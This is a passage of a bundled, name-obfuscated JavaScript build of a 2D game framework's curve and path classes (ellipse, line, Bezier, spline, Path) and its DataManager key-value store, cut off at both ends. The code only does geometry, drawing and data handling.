this['p0']['x'] + this['_xRadius'] * Math['cos'](_0x18a607), _0x340172 = this['p0']['y'] + this['_yRadius'] * Math['sin'](_0x18a607); if (0x0 !== this['_rotation']) { var _0xc12c4d = Math['cos'](this['_rotation']), _0x1a05dc = Math['sin'](this['_rotation']), _0x32636f = _0x111f59 - this['p0']['x'], _0x37fe87 = _0x340172 - this['p0']['y']; _0x111f59 = _0x32636f * _0xc12c4d - _0x37fe87 * _0x1a05dc + this['p0']['x'], _0x340172 = _0x32636f * _0x1a05dc + _0x37fe87 * _0xc12c4d + this['p0']['y']; } return _0x3d0b38['set'](_0x111f59, _0x340172); }, 'setXRadius': function (_0x5a93a8) { return this['xRadius'] = _0x5a93a8, this; }, 'setYRadius': function (_0x1ebc6d) { return this['yRadius'] = _0x1ebc6d, this; }, 'setWidth': function (_0x99e25b) { return this['xRadius'] = _0x99e25b / 0x2, this; }, 'setHeight': function (_0x1bf3a4) { return this['yRadius'] = _0x1bf3a4 / 0x2, this; }, 'setStartAngle': function (_0x415356) { return this['startAngle'] = _0x415356, this; }, 'setEndAngle': function (_0x5c7e3e) { return this['endAngle'] = _0x5c7e3e, this; }, 'setClockwise': function (_0x566964) { return this['clockwise'] = _0x566964, this; }, 'setRotation': function (_0x5137c6) { return this['rotation'] = _0x5137c6, this; }, 'x': { 'get': function () { return this['p0']['x']; }, 'set': function (_0x5809bf) { this['p0']['x'] = _0x5809bf; } }, 'y': { 'get': function () { return this['p0']['y']; }, 'set': function (_0x72ed4f) { this['p0']['y'] = _0x72ed4f; } }, 'xRadius': { 'get': function () { return this['_xRadius']; }, 'set': function (_0x481d1c) { this['_xRadius'] = _0x481d1c; } }, 'yRadius': { 'get': function () { return this['_yRadius']; }, 'set': function (_0x1b423f) { this['_yRadius'] = _0x1b423f; } }, 'startAngle': { 'get': function () { return _0x579b8c(this['_startAngle']); }, 'set': function (_0x4e3d5f) { this['_startAngle'] = _0x44ff37(_0x4e3d5f); } }, 'endAngle': { 'get': function () { return _0x579b8c(this['_endAngle']); }, 'set': function (_0x1f5e0a) { this['_endAngle'] = _0x44ff37(_0x1f5e0a); } }, 'clockwise': { 'get': function () { return this['_clockwise']; }, 'set': function (_0x166a20) { this['_clockwise'] = _0x166a20; } }, 'angle': { 'get': function () { return _0x579b8c(this['_rotation']); }, 'set': function (_0x31ece4) { this['_rotation'] = _0x44ff37(_0x31ece4); } }, 'rotation': { 'get': function () { return this['_rotation']; }, 'set': function (_0x21ad4d) { this['_rotation'] = _0x21ad4d; } }, 'toJSON': function () { return { 'type': this['type'], 'x': this['p0']['x'], 'y': this['p0']['y'], 'xRadius': this['_xRadius'], 'yRadius': this['_yRadius'], 'startAngle': _0x579b8c(this['_startAngle']), 'endAngle': _0x579b8c(this['_endAngle']), 'clockwise': this['_clockwise'], 'rotation': _0x579b8c(this['_rotation']) }; } }); _0x21e474['fromJSON'] = function (_0x5d3e4a) { return new _0x21e474(_0x5d3e4a); }, _0x52bf28['exports'] = _0x21e474; }, 0x849f: (_0x2ffcdc, _0x35db1e, _0xa1ff08) => { var _0x3ac694 = _0xa1ff08(0x145db), _0x112a93 = _0xa1ff08(0x13895), _0x3b2b57 = _0xa1ff08(0x4b11), _0x10149c = _0xa1ff08(0x15721), _0x48c38b = _0xa1ff08(0x65f3), _0xdfdb78 = new _0x3ac694({ 'Extends': _0x112a93, 'initialize': function (_0x42aa54, _0x398bc0) { _0x112a93['call'](this, 'LineCurve'), Array['isArray'](_0x42aa54) && (_0x398bc0 = new _0x48c38b(_0x42aa54[0x2], _0x42aa54[0x3]), _0x42aa54 = new _0x48c38b(_0x42aa54[0x0], _0x42aa54[0x1])), this['p0'] = _0x42aa54, this['p1'] = _0x398bc0, this['arcLengthDivisions'] = 0x1; }, 'getBounds': function (_0x59f820) { return void 0x0 === _0x59f820 && (_0x59f820 = new _0x10149c()), _0x3b2b57([this['p0'], this['p1']], _0x59f820); }, 'getStartPoint': function (_0x36e874) { return void 0x0 === _0x36e874 && (_0x36e874 = new _0x48c38b()), _0x36e874['copy'](this['p0']); }, 'getResolution': function (_0x3abb46) { return void 0x0 === _0x3abb46 && (_0x3abb46 = 0x1), _0x3abb46; }, 'getPoint': function (_0xfe1c6d, _0x1c5a3c) { return void 0x0 === _0x1c5a3c && (_0x1c5a3c = new _0x48c38b()), 0x1 === _0xfe1c6d ? _0x1c5a3c['copy'](this['p1']) : (_0x1c5a3c['copy'](this['p1'])['subtract'](this['p0'])['scale'](_0xfe1c6d)['add'](this['p0']), _0x1c5a3c); }, 'getPointAt': function (_0x2fe13a, _0x5d9232) { return this['getPoint'](_0x2fe13a, _0x5d9232); }, 'getTangent': function (_0x5e6f14, _0x33e017) { return void 0x0 === _0x33e017 && (_0x33e017 = new _0x48c38b()), _0x33e017['copy'](this['p1'])['subtract'](this['p0'])['normalize'](), _0x33e017; }, 'getUtoTmapping': function (_0x391cfb, _0x7626bd, _0x296717) { var _0x3d3a50; if (_0x7626bd) { var _0x40c132 = this['getLengths'](_0x296717), _0x55225b = _0x40c132[_0x40c132['length'] - 0x1]; _0x3d3a50 = Math['min'](_0x7626bd, _0x55225b) / _0x55225b; } else _0x3d3a50 = _0x391cfb; return _0x3d3a50; }, 'draw': function (_0x5811cf) { return _0x5811cf['lineBetween'](this['p0']['x'], this['p0']['y'], this['p1']['x'], this['p1']['y']), _0x5811cf; }, 'toJSON': function () { return { 'type': this['type'], 'points': [this['p0']['x'], this['p0']['y'], this['p1']['x'], this['p1']['y']] }; } }); _0xdfdb78['fromJSON'] = function (_0x554cc3) { var _0x3c2810 = _0x554cc3['points'], _0x426494 = new _0x48c38b(_0x3c2810[0x0], _0x3c2810[0x1]), _0xc739fa = new _0x48c38b(_0x3c2810[0x2], _0x3c2810[0x3]); return new _0xdfdb78(_0x426494, _0xc739fa); }, _0x2ffcdc['exports'] = _0xdfdb78; }, 0x3998: (_0x32cb3a, _0x214391, _0x56d361) => { var _0x464e7a = _0x56d361(0x145db), _0x56e8e8 = _0x56d361(0x13895), _0x30fe78 = _0x56d361(0x7d70), _0x569a76 = _0x56d361(0x65f3), _0x397074 = new _0x464e7a({ 'Extends': _0x56e8e8, 'initialize': function (_0x323a6f, _0x505909, _0x3120eb) { _0x56e8e8['call'](this, 'QuadraticBezierCurve'), Array['isArray'](_0x323a6f) && (_0x3120eb = new _0x569a76(_0x323a6f[0x4], _0x323a6f[0x5]), _0x505909 = new _0x569a76(_0x323a6f[0x2], _0x323a6f[0x3]), _0x323a6f = new _0x569a76(_0x323a6f[0x0], _0x323a6f[0x1])), this['p0'] = _0x323a6f, this['p1'] = _0x505909, this['p2'] = _0x3120eb; }, 'getStartPoint': function (_0x903bc9) { return void 0x0 === _0x903bc9 && (_0x903bc9 = new _0x569a76()), _0x903bc9['copy'](this['p0']); }, 'getResolution': function (_0x3cb760) { return _0x3cb760; }, 'getPoint': function (_0x517966, _0x589540) { void 0x0 === _0x589540 && (_0x589540 = new _0x569a76()); var _0x518dff = this['p0'], _0xbaad84 = this['p1'], _0x5061ae = this['p2']; return _0x589540['set'](_0x30fe78(_0x517966, _0x518dff['x'], _0xbaad84['x'], _0x5061ae['x']), _0x30fe78(_0x517966, _0x518dff['y'], _0xbaad84['y'], _0x5061ae['y'])); }, 'draw': function (_0x7ce700, _0x22f195) { void 0x0 === _0x22f195 && (_0x22f195 = 0x20); var _0x4ae53f = this['getPoints'](_0x22f195); _0x7ce700['beginPath'](), _0x7ce700['moveTo'](this['p0']['x'], this['p0']['y']); for (var _0x2d8e7f = 0x1; _0x2d8e7f < _0x4ae53f['length']; _0x2d8e7f++)_0x7ce700['lineTo'](_0x4ae53f[_0x2d8e7f]['x'], _0x4ae53f[_0x2d8e7f]['y']); return _0x7ce700['strokePath'](), _0x7ce700; }, 'toJSON': function () { return { 'type': this['type'], 'points': [this['p0']['x'], this['p0']['y'], this['p1']['x'], this['p1']['y'], this['p2']['x'], this['p2']['y']] }; } }); _0x397074['fromJSON'] = function (_0x45641a) { var _0x5c625d = _0x45641a['points'], _0x528155 = new _0x569a76(_0x5c625d[0x0], _0x5c625d[0x1]), _0x3dbbac = new _0x569a76(_0x5c625d[0x2], _0x5c625d[0x3]), _0x72bb35 = new _0x569a76(_0x5c625d[0x4], _0x5c625d[0x5]); return new _0x397074(_0x528155, _0x3dbbac, _0x72bb35); }, _0x32cb3a['exports'] = _0x397074; }, 0xa626: (_0x1ef503, _0x22934a, _0x4b6d57) => { var _0x2429e7 = _0x4b6d57(0x15722), _0x3713f6 = _0x4b6d57(0x145db), _0x4d03fa = _0x4b6d57(0x13895), _0x2d04be = _0x4b6d57(0x65f3), _0x250a59 = new _0x3713f6({ 'Extends': _0x4d03fa, 'initialize': function (_0x848c96) { void 0x0 === _0x848c96 && (_0x848c96 = []), _0x4d03fa['call'](this, 'SplineCurve'), this['points'] = [], this['addPoints'](_0x848c96); }, 'addPoints': function (_0x6fb616) { for (var _0x267aa3 = 0x0; _0x267aa3 < _0x6fb616['length']; _0x267aa3++) { var _0x5d19fd = new _0x2d04be(); 'number' == typeof _0x6fb616[_0x267aa3] ? (_0x5d19fd['x'] = _0x6fb616[_0x267aa3], _0x5d19fd['y'] = _0x6fb616[_0x267aa3 + 0x1], _0x267aa3++) : Array['isArray'](_0x6fb616[_0x267aa3]) ? (_0x5d19fd['x'] = _0x6fb616[_0x267aa3][0x0], _0x5d19fd['y'] = _0x6fb616[_0x267aa3][0x1]) : (_0x5d19fd['x'] = _0x6fb616[_0x267aa3]['x'], _0x5d19fd['y'] = _0x6fb616[_0x267aa3]['y']), this['points']['push'](_0x5d19fd); } return this; }, 'addPoint': function (_0xabab36, _0x54e3e6) { var _0x25bf95 = new _0x2d04be(_0xabab36, _0x54e3e6); return this['points']['push'](_0x25bf95), _0x25bf95; }, 'getStartPoint': function (_0x249e3f) { return void 0x0 === _0x249e3f && (_0x249e3f = new _0x2d04be()), _0x249e3f['copy'](this['points'][0x0]); }, 'getResolution': function (_0x4c6826) { return _0x4c6826 * this['points']['length']; }, 'getPoint': function (_0x4e5765, _0x1bc5e2) { void 0x0 === _0x1bc5e2 && (_0x1bc5e2 = new _0x2d04be()); var _0x4b1bad = this['points'], _0x13e4f9 = (_0x4b1bad['length'] - 0x1) * _0x4e5765, _0x434954 = Math['floor'](_0x13e4f9), _0x2d6b10 = _0x13e4f9 - _0x434954, _0x18f48e = _0x4b1bad[0x0 === _0x434954 ? _0x434954 : _0x434954 - 0x1], _0x1909f7 = _0x4b1bad[_0x434954], _0x6b87cc = _0x4b1bad[_0x434954 > _0x4b1bad['length'] - 0x2 ? _0x4b1bad['length'] - 0x1 : _0x434954 + 0x1], _0x1121d3 = _0x4b1bad[_0x434954 > _0x4b1bad['length'] - 0x3 ? _0x4b1bad['length'] - 0x1 : _0x434954 + 0x2]; return _0x1bc5e2['set'](_0x2429e7(_0x2d6b10, _0x18f48e['x'], _0x1909f7['x'], _0x6b87cc['x'], _0x1121d3['x']), _0x2429e7(_0x2d6b10, _0x18f48e['y'], _0x1909f7['y'], _0x6b87cc['y'], _0x1121d3['y'])); }, 'toJSON': function () { for (var _0x24f673 = [], _0x140713 = 0x0; _0x140713 < this['points']['length']; _0x140713++)_0x24f673['push'](this['points'][_0x140713]['x']), _0x24f673['push'](this['points'][_0x140713]['y']); return { 'type': this['type'], 'points': _0x24f673 }; } }); _0x250a59['fromJSON'] = function (_0x512a9c) { return new _0x250a59(_0x512a9c['points']); }, _0x1ef503['exports'] = _0x250a59; }, 0x6342: (_0x1a5a6d, _0x43ddba, _0x14febc) => { _0x1a5a6d['exports'] = { 'Path': _0x14febc(0xb64d), 'MoveTo': _0x14febc(0x10c0a), 'CubicBezier': _0x14febc(0xb688), 'Curve': _0x14febc(0x13895), 'Ellipse': _0x14febc(0x12061), 'Line': _0x14febc(0x849f), 'QuadraticBezier': _0x14febc(0x3998), 'Spline': _0x14febc(0xa626) }; }, 0x10c0a: (_0x5ddde4, _0x5bbcd9, _0x34a19f) => { var _0x2f9a64 = _0x34a19f(0x145db), _0x31fe7e = _0x34a19f(0x65f3), _0x5f07b1 = new _0x2f9a64({ 'initialize': function (_0x5122f4, _0x42758b) { this['active'] = !0x1, this['p0'] = new _0x31fe7e(_0x5122f4, _0x42758b); }, 'getPoint': function (_0x1e4526, _0x53deb7) { return void 0x0 === _0x53deb7 && (_0x53deb7 = new _0x31fe7e()), _0x53deb7['copy'](this['p0']); }, 'getPointAt': function (_0x16f8e3, _0x47bbfd) { return this['getPoint'](_0x16f8e3, _0x47bbfd); }, 'getResolution': function () { return 0x1; }, 'getLength': function () { return 0x0; }, 'toJSON': function () { return { 'type': 'MoveTo', 'points': [this['p0']['x'], this['p0']['y']] }; } }); _0x5ddde4['exports'] = _0x5f07b1; }, 0xb64d: (_0x474dcf, _0x1dba04, _0x5af649) => { var _0x512ab0 = _0x5af649(0x145db), _0x4047a2 = _0x5af649(0xb688), _0x39a923 = _0x5af649(0x12061), _0x1607fe = _0x5af649(0x9a05), _0x13ae47 = _0x5af649(0x849f), _0x3b830e = _0x5af649(0x10c0a), _0x5ad3e1 = _0x5af649(0x3998), _0x4b380c = _0x5af649(0x15721), _0x46d87e = _0x5af649(0xa626), _0x3586a5 = _0x5af649(0x65f3), _0x8ffca5 = _0x5af649(0x8e1f), _0x13579f = new _0x512ab0({ 'initialize': function (_0x3fff5d, _0x401216) { void 0x0 === _0x3fff5d && (_0x3fff5d = 0x0), void 0x0 === _0x401216 && (_0x401216 = 0x0), this['name'] = '', this['defaultDivisions'] = 0xc, this['curves'] = [], this['cacheLengths'] = [], this['autoClose'] = !0x1, this['startPoint'] = new _0x3586a5(), this['_tmpVec2A'] = new _0x3586a5(), this['_tmpVec2B'] = new _0x3586a5(), 'object' == typeof _0x3fff5d ? this['fromJSON'](_0x3fff5d) : this['startPoint']['set'](_0x3fff5d, _0x401216); }, 'add': function (_0x334d66) { return this['curves']['push'](_0x334d66), this; }, 'circleTo': function (_0x1bf058, _0x40d1a9, _0x852ac0) { return void 0x0 === _0x40d1a9 && (_0x40d1a9 = !0x1), this['ellipseTo'](_0x1bf058, _0x1bf058, 0x0, 0x168, _0x40d1a9, _0x852ac0); }, 'closePath': function () { var _0x3ab9c7 = this['curves'][0x0]['getPoint'](0x0), _0x2d0207 = this['curves'][this['curves']['length'] - 0x1]['getPoint'](0x1); return _0x3ab9c7['equals'](_0x2d0207) || this['curves']['push'](new _0x13ae47(_0x2d0207, _0x3ab9c7)), this; }, 'cubicBezierTo': function (_0x35e999, _0x20fef8, _0x5601bd, _0x169b80, _0x4ca63a, _0x56c133) { var _0x151cf0, _0x8377b4, _0x2719b1, _0x31caad = this['getEndPoint'](); return _0x35e999 instanceof _0x3586a5 ? (_0x151cf0 = _0x35e999, _0x8377b4 = _0x20fef8, _0x2719b1 = _0x5601bd) : (_0x151cf0 = new _0x3586a5(_0x5601bd, _0x169b80), _0x8377b4 = new _0x3586a5(_0x4ca63a, _0x56c133), _0x2719b1 = new _0x3586a5(_0x35e999, _0x20fef8)), this['add'](new _0x4047a2(_0x31caad, _0x151cf0, _0x8377b4, _0x2719b1)); }, 'quadraticBezierTo': function (_0x2108c8, _0x7502aa, _0x3b5927, _0x1c9864) { var _0x326835, _0x560698, _0x5a460c = this['getEndPoint'](); return _0x2108c8 instanceof _0x3586a5 ? (_0x326835 = _0x2108c8, _0x560698 = _0x7502aa) : (_0x326835 = new _0x3586a5(_0x3b5927, _0x1c9864), _0x560698 = new _0x3586a5(_0x2108c8, _0x7502aa)), this['add'](new _0x5ad3e1(_0x5a460c, _0x326835, _0x560698)); }, 'draw': function (_0x389b1d, _0x40ce9e) { for (var _0x256302 = 0x0; _0x256302 < this['curves']['length']; _0x256302++) { var _0x15f762 = this['curves'][_0x256302]; _0x15f762['active'] && _0x15f762['draw'](_0x389b1d, _0x40ce9e); } return _0x389b1d; }, 'ellipseTo': function (_0x35b967, _0x21a4c7, _0x29eed2, _0x54fdd0, _0x57a8c6, _0x44cb2a) { var _0xd677db = new _0x39a923(0x0, 0x0, _0x35b967, _0x21a4c7, _0x29eed2, _0x54fdd0, _0x57a8c6, _0x44cb2a), _0x4527e2 = this['getEndPoint'](this['_tmpVec2A']), _0x536053 = _0xd677db['getStartPoint'](this['_tmpVec2B']); return _0x4527e2['subtract'](_0x536053), _0xd677db['x'] = _0x4527e2['x'], _0xd677db['y'] = _0x4527e2['y'], this['add'](_0xd677db); }, 'fromJSON': function (_0x2f067f) { this['curves'] = [], this['cacheLengths'] = [], this['startPoint']['set'](_0x2f067f['x'], _0x2f067f['y']), this['autoClose'] = _0x2f067f['autoClose']; for (var _0xfbdb0 = 0x0; _0xfbdb0 < _0x2f067f['curves']['length']; _0xfbdb0++) { var _0x26700b = _0x2f067f['curves'][_0xfbdb0]; switch (_0x26700b['type']) { case 'LineCurve': this['add'](_0x13ae47['fromJSON'](_0x26700b)); break; case 'EllipseCurve': this['add'](_0x39a923['fromJSON'](_0x26700b)); break; case 'SplineCurve': this['add'](_0x46d87e['fromJSON'](_0x26700b)); break; case 'CubicBezierCurve': this['add'](_0x4047a2['fromJSON'](_0x26700b)); break; case 'QuadraticBezierCurve': this['add'](_0x5ad3e1['fromJSON'](_0x26700b)); } } return this; }, 'getBounds': function (_0x3f5102, _0x367610) { void 0x0 === _0x3f5102 && (_0x3f5102 = new _0x4b380c()), void 0x0 === _0x367610 && (_0x367610 = 0x10), _0x3f5102['x'] = Number['MAX_VALUE'], _0x3f5102['y'] = Number['MAX_VALUE']; for (var _0x40f613 = new _0x4b380c(), _0xc3a548 = _0x8ffca5['MIN_SAFE_INTEGER'], _0x370a2a = _0x8ffca5['MIN_SAFE_INTEGER'], _0x4285b6 = 0x0; _0x4285b6 < this['curves']['length']; _0x4285b6++) { var _0x402218 = this['curves'][_0x4285b6]; _0x402218['active'] && (_0x402218['getBounds'](_0x40f613, _0x367610), _0x3f5102['x'] = Math['min'](_0x3f5102['x'], _0x40f613['x']), _0x3f5102['y'] = Math['min'](_0x3f5102['y'], _0x40f613['y']), _0xc3a548 = Math['max'](_0xc3a548, _0x40f613['right']), _0x370a2a = Math['max'](_0x370a2a, _0x40f613['bottom'])); } return _0x3f5102['right'] = _0xc3a548, _0x3f5102['bottom'] = _0x370a2a, _0x3f5102; }, 'getCurveLengths': function () { if (this['cacheLengths']['length'] === this['curves']['length']) return this['cacheLengths']; for (var _0x5badb3 = [], _0x286247 = 0x0, _0x1089be = 0x0; _0x1089be < this['curves']['length']; _0x1089be++)_0x286247 += this['curves'][_0x1089be]['getLength'](), _0x5badb3['push'](_0x286247); return this['cacheLengths'] = _0x5badb3, _0x5badb3; }, 'getCurveAt': function (_0x1aacd9) { for (var _0x2e865c = _0x1aacd9 * this['getLength'](), _0x3ba6d7 = this['getCurveLengths'](), _0xfa767b = 0x0; _0xfa767b < _0x3ba6d7['length'];) { if (_0x3ba6d7[_0xfa767b] >= _0x2e865c) return this['curves'][_0xfa767b]; _0xfa767b++; } return null; }, 'getEndPoint': function (_0x18b982) { return void 0x0 === _0x18b982 && (_0x18b982 = new _0x3586a5()), this['curves']['length'] > 0x0 ? this['curves'][this['curves']['length'] - 0x1]['getPoint'](0x1, _0x18b982) : _0x18b982['copy'](this['startPoint']), _0x18b982; }, 'getLength': function () { var _0x99dace = this['getCurveLengths'](); return _0x99dace[_0x99dace['length'] - 0x1]; }, 'getPoint': function (_0x563224, _0x3808b8) { void 0x0 === _0x3808b8 && (_0x3808b8 = new _0x3586a5()); for (var _0x2f2c5a = _0x563224 * this['getLength'](), _0x2042b5 = this['getCurveLengths'](), _0x2c68ec = 0x0; _0x2c68ec < _0x2042b5['length'];) { if (_0x2042b5[_0x2c68ec] >= _0x2f2c5a) { var _0x3396bf = _0x2042b5[_0x2c68ec] - _0x2f2c5a, _0x211ce7 = this['curves'][_0x2c68ec], _0x3c61e8 = _0x211ce7['getLength'](), _0x1dabb1 = 0x0 === _0x3c61e8 ? 0x0 : 0x1 - _0x3396bf / _0x3c61e8; return _0x211ce7['getPointAt'](_0x1dabb1, _0x3808b8); } _0x2c68ec++; } return null; }, 'getPoints': function (_0x5a55b0, _0x219998) { _0x5a55b0 || _0x219998 || (_0x5a55b0 = this['defaultDivisions']); for (var _0x4b3cf1, _0x2c613d = [], _0x2ec812 = 0x0; _0x2ec812 < this['curves']['length']; _0x2ec812++) { var _0x158775 = this['curves'][_0x2ec812]; if (_0x158775['active']) for (var _0x550096 = _0x158775['getResolution'](_0x5a55b0), _0x742c1c = _0x158775['getPoints'](_0x550096, _0x219998), _0x53070a = 0x0; _0x53070a < _0x742c1c['length']; _0x53070a++) { var _0x211975 = _0x742c1c[_0x53070a]; _0x4b3cf1 && _0x4b3cf1['equals'](_0x211975) || (_0x2c613d['push'](_0x211975), _0x4b3cf1 = _0x211975); } } return this['autoClose'] && _0x2c613d['length'] > 0x1 && !_0x2c613d[_0x2c613d['length'] - 0x1]['equals'](_0x2c613d[0x0]) && _0x2c613d['push'](_0x2c613d[0x0]), _0x2c613d; }, 'getRandomPoint': function (_0x5eaf9b) { return void 0x0 === _0x5eaf9b && (_0x5eaf9b = new _0x3586a5()), this['getPoint'](Math['random'](), _0x5eaf9b); }, 'getSpacedPoints': function (_0x364e47) { void 0x0 === _0x364e47 && (_0x364e47 = 0x28); for (var _0x3dacfc = [], _0x132898 = 0x0; _0x132898 <= _0x364e47; _0x132898++)_0x3dacfc['push'](this['getPoint'](_0x132898 / _0x364e47)); return this['autoClose'] && _0x3dacfc['push'](_0x3dacfc[0x0]), _0x3dacfc; }, 'getStartPoint': function (_0xb699f1) { return void 0x0 === _0xb699f1 && (_0xb699f1 = new _0x3586a5()), _0xb699f1['copy'](this['startPoint']); }, 'getTangent': function (_0x5bd673, _0xd5a3f8) { void 0x0 === _0xd5a3f8 && (_0xd5a3f8 = new _0x3586a5()); for (var _0x329ee9 = _0x5bd673 * this['getLength'](), _0x2c9f07 = this['getCurveLengths'](), _0x54381b = 0x0; _0x54381b < _0x2c9f07['length'];) { if (_0x2c9f07[_0x54381b] >= _0x329ee9) { var _0x58baec = _0x2c9f07[_0x54381b] - _0x329ee9, _0x3010c6 = this['curves'][_0x54381b], _0x4a5c0e = _0x3010c6['getLength'](), _0x26a5d4 = 0x0 === _0x4a5c0e ? 0x0 : 0x1 - _0x58baec / _0x4a5c0e; return _0x3010c6['getTangentAt'](_0x26a5d4, _0xd5a3f8); } _0x54381b++; } return null; }, 'lineTo': function (_0x331fc7, _0x304a97) { _0x331fc7 instanceof _0x3586a5 ? this['_tmpVec2B']['copy'](_0x331fc7) : 'object' == typeof _0x331fc7 ? this['_tmpVec2B']['setFromObject'](_0x331fc7) : this['_tmpVec2B']['set'](_0x331fc7, _0x304a97); var _0x346189 = this['getEndPoint'](this['_tmpVec2A']); return this['add'](new _0x13ae47([_0x346189['x'], _0x346189['y'], this['_tmpVec2B']['x'], this['_tmpVec2B']['y']])); }, 'splineTo': function (_0x389bfa) { return _0x389bfa['unshift'](this['getEndPoint']()), this['add'](new _0x46d87e(_0x389bfa)); }, 'moveTo': function (_0x2d2cad, _0x373f2d) { return _0x2d2cad instanceof _0x3586a5 ? this['add'](new _0x3b830e(_0x2d2cad['x'], _0x2d2cad['y'])) : this['add'](new _0x3b830e(_0x2d2cad, _0x373f2d)); }, 'toJSON': function () { for (var _0x22ddf7 = [], _0x1e2c8c = 0x0; _0x1e2c8c < this['curves']['length']; _0x1e2c8c++)_0x22ddf7['push'](this['curves'][_0x1e2c8c]['toJSON']()); return { 'type': 'Path', 'x': this['startPoint']['x'], 'y': this['startPoint']['y'], 'autoClose': this['autoClose'], 'curves': _0x22ddf7 }; }, 'updateArcLengths': function () { this['cacheLengths'] = [], this['getCurveLengths'](); }, 'destroy': function () { this['curves']['length'] = 0x0, this['cacheLengths']['length'] = 0x0, this['startPoint'] = void 0x0; } }); _0x1607fe['register']('path', function (_0x4f169b, _0x854ae4) { return new _0x13579f(_0x4f169b, _0x854ae4); }), _0x474dcf['exports'] = _0x13579f; }, 0xb345: (_0xfcc17f, _0x2c3f9c, _0x40fd27) => { var _0x1bd287 = _0x40fd27(0x145db), _0x2f9b5e = _0x40fd27(0x6132), _0x51ef7b = new _0x1bd287({ 'initialize': function (_0x19c9dd, _0x1a3fa5) { this['parent'] = _0x19c9dd, this['events'] = _0x1a3fa5, _0x1a3fa5 || (this['events'] = _0x19c9dd['events'] ? _0x19c9dd['events'] : _0x19c9dd), this['list'] = {}, this['values'] = {}, this['_frozen'] = !0x1, !_0x19c9dd['hasOwnProperty']('sys') && this['events'] && this['events']['once'](_0x2f9b5e['DESTROY'], this['destroy'], this); }, 'get': function (_0x103114) { var _0xe18914 = this['list']; if (Array['isArray'](_0x103114)) { for (var _0x4badf0 = [], _0x4e36b1 = 0x0; _0x4e36b1 < _0x103114['length']; _0x4e36b1++)_0x4badf0['push'](_0xe18914[_0x103114[_0x4e36b1]]); return _0x4badf0; } return _0xe18914[_0x103114]; }, 'getAll': function () { var _0x152200 = {}; for (var _0x2d3ef2 in this['list']) this['list']['hasOwnProperty'](_0x2d3ef2) && (_0x152200[_0x2d3ef2] = this['list'][_0x2d3ef2]); return _0x152200; }, 'query': function (_0x90eac5) { var _0x517820 = {}; for (var _0x2bcbb3 in this['list']) this['list']['hasOwnProperty'](_0x2bcbb3) && _0x2bcbb3['match'](_0x90eac5) && (_0x517820[_0x2bcbb3] = this['list'][_0x2bcbb3]); return _0x517820; }, 'set': function (_0x201802, _0x147b45) { if (this['_frozen']) return this; if ('string' == typeof _0x201802) return this['setValue'](_0x201802, _0x147b45); for (var _0x4ef6ae in _0x201802) this['setValue'](_0x4ef6ae, _0x201802[_0x4ef6ae]); return this; }, 'inc': function (_0x1f3023, _0x4cbfab) { if (this['_frozen']) return this; void 0x0 === _0x4cbfab && (_0x4cbfab = 0x1); var _0x2c9278 = this['get'](_0x1f3023); return void 0x0 === _0x2c9278 && (_0x2c9278 = 0x0), this['set'](_0x1f3023, _0x2c9278 + _0x4cbfab), this; }, 'toggle': function (_0x559e89) { return this['_frozen'] || this['set'](_0x559e89, !this['get'](_0x559e89)), this; }, 'setValue': function (_0x3916fb, _0x4df523) { if (this['_frozen']) return this; if (this['has'](_0x3916fb)) this['values'][_0x3916fb] = _0x4df523; else { var _0x515038 = this, _0x1ee323 = this['list'], _0x115ec2 = this['events'], _0x2450f2 = this['parent']; Object['defineProperty'](this['values'], _0x3916fb, { 'enumerable': !0x0, 'configurable': !0x0, 'get': function () { return _0x1ee323[_0x3916fb]; }, 'set': function (_0x4ab2ce) { if (!_0x515038['_frozen']) { var _0x4b3ad6 = _0x1ee323[_0x3916fb]; _0x1ee323[_0x3916fb] = _0x4ab2ce, _0x115ec2['emit'](_0x2f9b5e['CHANGE_DATA'], _0x2450f2, _0x3916fb, _0x4ab2ce, _0x4b3ad6), _0x115ec2['emit'](_0x2f9b5e['CHANGE_DATA_KEY'] + _0x3916fb, _0x2450f2, _0x4ab2ce, _0x4b3ad6); } } }), _0x1ee323[_0x3916fb] = _0x4df523, _0x115ec2['emit'](_0x2f9b5e['SET_DATA'], _0x2450f2, _0x3916fb, _0x4df523); } return this; }, 'each': function (_0x55d11e, _0xea9c6a) { for (var _0x33bd4f = [this['parent'], null, void 0x0], _0x17f598 = 0x1; _0x17f598 < arguments['length']; _0x17f598++)_0x33bd4f['push'](arguments[_0x17f598]); for (var _0x3d902b in this['list']) _0x33bd4f[0x1] = _0x3d902b, _0x33bd4f[0x2] = this['list'][_0x3d902b], _0x55d11e['apply'](_0xea9c6a, _0x33bd4f); return this; }, 'merge': function (_0x2b25dc, _0x364f77) { for (var _0x50746c in (void 0x0 === _0x364f77 && (_0x364f77 = !0x0), _0x2b25dc)) _0x2b25dc['hasOwnProperty'](_0x50746c) && (_0x364f77 || !_0x364f77 && !this['has'](_0x50746c)) && this['setValue'](_0x50746c, _0x2b25dc[_0x50746c]); return this; }, 'remove': function (_0x32307d) { if (this['_frozen']) return this; if (!Array['isArray'](_0x32307d)) return this['removeValue'](_0x32307d); for (var _0x496110 = 0x0; _0x496110 < _0x32307d['length']; _0x496110++)this['removeValue'](_0x32307d[_0x496110]); return this; }, 'removeValue': function (_0x10d0a8) { if (this['has'](_0x10d0a8)) { var _0x14a672 = this['list'][_0x10d0a8]; delete this['list'][_0x10d0a8], delete this['values'][_0x10d0a8], this['events']['emit'](_0x2f9b5e['REMOVE_DATA'], this['parent'], _0x10d0a8, _0x14a672); } return this; }, 'pop': function (_0x64d152) { var _0x2a6da5 = void 0x0; return !this['_frozen'] && this['has'](_0x64d152) && (_0x2a6da5 = this['list'][_0x64d152], delete this['list'][_0x64d152], delete this['values'][_0x64d152], this['events']['emit'](_0x2f9b5e['REMOVE_DATA'], this['parent'], _0x64d152, _0x2a6da5)), _0x2a6da5; }, 'has': function (_0x3a7132) { return this['list']['hasOwnProperty'](_0x3a7132); }, 'setFreeze': function (_0x4c6d31) { return this['_frozen'] = _0x4c6d31, this; }, 'reset': function () { for (var _0x439544 in this['list']) delete this['list'][_0x439544], delete this['values'][_0x439544]; return this['_frozen'] = !0x1, this; }, 'destroy': function () { this['reset'](), this['events']['off'](_0x2f9b5e['CHANGE_DATA']), this['events']['off'](_0x2f9b5e['SET_DATA']), this['events']['off'](_0x2f9b5e['REMOVE_DATA']), this['parent'] = null; }, 'freeze': { 'get': function () { return this['_frozen']; }, 'set': function (_0x11072b) { this['_frozen'] = !!_0x11072b; } }, 'count': { 'get': function () { var _0x269c56 = 0x0; for (var _0x2719c1 in this['list']) void 0x0 !== this['list'][_0x2719c1] && _0x269c56++; return _0x269c56; } } }); _0xfcc17f['exports'] = _0x51ef7b; }, 0xf89e: (_0xce4f54, 